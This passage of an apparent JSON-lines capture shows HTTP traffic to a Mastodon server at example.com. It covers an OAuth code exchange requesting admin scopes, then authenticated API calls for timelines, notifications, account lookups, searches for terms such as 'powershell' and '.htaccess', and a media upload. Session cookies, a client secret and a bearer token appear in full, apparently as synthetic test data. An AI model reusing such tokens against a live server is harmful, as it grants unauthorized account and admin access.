_session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDEuODg0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--621494457639e6c6eb96dc9847f947e7067eae30; _mastodon_session=uPLQM1cESL%2B7E3h%2BkoKBVQi7KCEqd1xtga6UA9I59WUUDid3l0CPUZDjd2eUD3ObJDVCg2WB654rgcdC7ries0JT5QS3lgJWd968H%2ByKJO3FNFT5S73yU3g%2FdV2o2WVixDlp4kXM%2FFxQY2qi%2BqTbM9DxNQ%2BakzZO9nUbMQAVxcwVpAV6Ar%2Bd2XsJgUgbg1bqPXCvS5cnNowPxIxJA716KuxPjloQdOlW6%2F%2BiGeNumkownrd8RM%2BTxQxIU7ZJ%2BdY7ULP%2FQk69hYK57bvvYwkEoQEe7Uc2mkeZyHwll7V2ZJ2sjGEQYj24i%2FYUBPND408UiHZpiw%2B1BThKMUC9y%2BioLXRf%2BSmXa9pxyINuCHwAru1JYmSNvee3cOhT5cSvxxr0XSX0%2BFB84pIu0HybMezNInMH0YoskNQ8PiU3iCaRKscVxb%2BkdYE3mlkZnOPNmqco9%2FoU64QX%2FTHsHBrHl7E3wyM92sW%2Bj4BgGsnmsLOJwZttK8HzdYtpeZeDiMSq3q%2FpGS4N%2FTBt3Fy9q41skRqImjEH8swt0rJ%2BrhK0Umu6frQtSIt5QR8PIcnhapSLInLB2dIfIqzr%2BFetsrwbS2tTDjcU3CLaMo%2F2dKsW7yZPYmAqo8r%2Bihflse%2Foilvf6E%2FwU8KRjTOYanz0nRJYAPxiLnMSMqKK3Hk8iEtof8XgpUNJUBAZOOFqWj0zgWRfVXozcZ0YahVvA5voX5VY2cZlkq8haownc9iEMq8WR3xA72pgsEYhaguRu0Tj4AAT0Sbxa5LI2828veKSW5Ij0xsMGqE84L4T9XhTXw%3D%3D--3jplX%2B5kMn1rYgjR--RkT9dVHEnHlML6A1oSPLjQ%3D%3D"], "body": "authenticity_token=1Mm4T7CiD0pg7JgWOzx9DaDkDfw6wIZr68sOX4wv3zpG8Cue1nnjghZJfiMkv3klTKvVjsIG7wFfULuVRvy0Fw&client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&code_challenge=&code_challenge_method=&state=&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite&button="}
|
||||||
|
{"method": "GET", "target": "/oauth/authorize/native?code=0RKM5HWLiEdgxhSsAdc56Xz0rTCoSzM2KHEP4tK-AxI", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/oauth/authorize?client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&response_type=code&scope=read+write+follow+push+admin%3Aread+admin%3Awrite", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDQuNDY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--34899739b80b78dbacebc27269fc960182e812c9; _mastodon_session=9wxLvDbvs%2B4cJAY5wLTjjorTBO%2BPSLPRKp0tFNm7qP31dqJBZEdekgK6H3VsiA1f9BjCfSGsN0hgdf76n0%2F4Tz6wdZmlC7mqS1TpbppwbrKVRTlN81vRNL8wdZJa4CkPWlij1ntYugHNsuTRz8R9W%2Fe2hJ7YBPUzc6Bwhs8XrjWWLlas1ukiq2iTdBrQ6EcenlN0d%2FX3B7Nz51Ms18HkxXOS3h777fdvADgW%2F5rYDeuhNEwzHDpfE0YsI8%2BCnbmKVEG82AHngYMnU9hSBtLQ3XCJpw9unP%2FXzCSmAYNN8W07M8nIzMaDOgrdwXZ58IAuV4sIODuFWzXmeDi4%2FPAfGLQpk4ITkple9LgakxVw%2Fr6mN%2BUiKDP%2BJ2N1WF8BfUpkXexORneNr5XZGqWCP5QhusXvFdbkmaNaK6ERSibhytl9Ug2g4j5jZh18ZEUaooPJ1ZhyfaXKQAD9--6qxIvCcQ1DrVYTMI--qK%2Bj%2FW6xZRi3Uom%2ByQHlyw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/typed_functions-Whap35TF.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/oauth/authorize/native?code=0RKM5HWLiEdgxhSsAdc56Xz0rTCoSzM2KHEP4tK-AxI", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQmxOalF3TmpCak9ESmhZbU16TlRKa04yUmlOMk5tTVRNNVlUa3hOVEJsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTQ6NDQuNDk2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--2c3c1b1932f399d9e0dc408246472dc79d4a8d90; _mastodon_session=WVbdpMQOgJqU6v5xLdF341U3dDbFuAcwM38nlaJ3XAFGhFbNo9uw8EHTpTmJZYhSm5akTxG1MiBx9Krb7XFK02ivN0SWmOmkRRtXXV95CiqgS5zUU65uSWtK1UmROu0Lii%2B3pXfSk8LEMA4x4xlimbtinAfl59GQPZ1AdEYUXS1dDarlWWBMz1grR6HJ5qJgRYQkkWc8ZBRprVvUp5Wat8BQw6RduHXCwoW%2BSff%2F9LINPzewbTFCVgAmgsfzKze1rS9sBH%2BdQr1quGVZZZa8VvldD3n2CWxOK2Ai%2FAmkpat8EyFVJqIsuz%2FHs2nBtdzDX8MXMxDRlG3BThrh%2FRuUk9D8p7sHgREeoHFjK26aHFvLMv%2BpNfCThk4LJH1wmuyzVKNpzzczDbjIYj4do2QuKBM7JFc4%2FBeq7rdTocD1U%2B5y4493xego6ZspgtN%2BWbPAn1CV1lVtC9JAUPCH7ksina6JcrOhfRcICEXVPFNilvxFKhx6CuCo8CWXcisLdQd5ObVaNmS6%2FsCF7ivLjCVFhIB0zTpJa8eQd8KOzK4BsH0Q4su5CQ%3D%3D--HPIAwvQ9fTRbUoEj--WXsg%2Blt%2FBcIPuApPFK39qg%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/oauth/token", "headers": ["Host: example.com", "Content-Length: 295", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Content-Type: application/x-www-form-urlencoded"], "body": "grant_type=authorization_code&code=0RKM5HWLiEdgxhSsAdc56Xz0rTCoSzM2KHEP4tK-AxI&client_id=0BfvlF0qFU4y7pDmHLJZSjT2JE21Tl_Np38nIqOdjHY&client_secret=AMGHJwUSh7h3W2iG-SEcqtbCZf3TXbKrSh-i1-U-mE8&redirect_uri=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&scope=read+write+follow+push+admin%3Aread+admin%3Awrite"}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/verify_credentials", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/apps/verify_credentials", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/instance", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/preferences", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/filters", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/filters", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/markers?timeline%5B%5D=home&timeline%5B%5D=notifications", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/home?limit=40", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/public?local=true&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/timelines/tag/python3", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/notifications?exclude_types%5B%5D=follow_request", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/notifications?grouped_types%5B%5D=favourite&grouped_types%5B%5D=reblog&grouped_types%5B%5D=follow", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/conversations", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/trends/links", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/suggestions", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/directory?local=true&order=active", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/bookmarks", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/favourites", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/blocks", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/mutes", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/domain_blocks", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/endorsements", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/featured_tags/suggestions", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/scheduled_statuses", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/tags/python3", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=bob", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/relationships?id%5B%5D=117589326485981102&id%5B%5D=117589325674471006", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/117589326485981102/statuses?exclude_replies=true&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=river+walk&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=river+walk&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=river+walk&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=river+walk&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=python3&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=python3&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=python3&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=python3&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=powershell&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=powershell&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=powershell&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=powershell&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=ls+-la&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=ls+-la&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=ls+-la&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=ls+-la&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=.htaccess&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=.htaccess&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=.htaccess&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=.htaccess&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=alice%40remote.example&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=alice%40remote.example&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=%23python3&resolve=true&limit=10", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=%23python3&type=statuses&limit=20", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/search?q=%23python3&resolve=false&limit=4", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=%23python3&type=accounts&limit=5", "headers": ["Host: example.com", "User-Agent: Mastodon/2025.10 CFNetwork/3826.500.131 Darwin/24.5.0", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v2/search?q=https%3A%2F%2Fremote.example%2Fusers%2Falice%2Fnotes%2F1&resolve=true", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/accounts/lookup?acct=alice%40remote.example", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v2/media", "headers": ["Host: example.com", "Content-Length: 478", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: multipart/form-data; boundary=91bf3ec709c5454aa02bd19ca7fd0fbc"], "body": "--91bf3ec709c5454aa02bd19ca7fd0fbc\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Notes python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0010\u0000\u0000\u0000\u0010\b\u0002\u0000\u0000\u0000\ufffd\ufffdh6\u0000\u0000\u0000\u0017IDATx\ufffdc\ufffd\ufffd\ufffd@\u0012\"M\ufffd\ufffd\ufffdQ\rCJ\u0003\u0000\ufffdu\u007f\u0010\u0019i$\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n--91bf3ec709c5454aa02bd19ca7fd0fbc\r\nContent-Disposition: form-data; name=\"description\"\r\n\r\nScreenshot of python3 in a terminal\r\n--91bf3ec709c5454aa02bd19ca7fd0fbc\r\nContent-Disposition: form-data; name=\"focus\"\r\n\r\n0.0,0.0\r\n--91bf3ec709c5454aa02bd19ca7fd0fbc--\r\n"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589416080454640", "headers": ["Host: example.com", "Content-Length: 40", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "description=A+screenshot+showing+python3"}
|
||||||
|
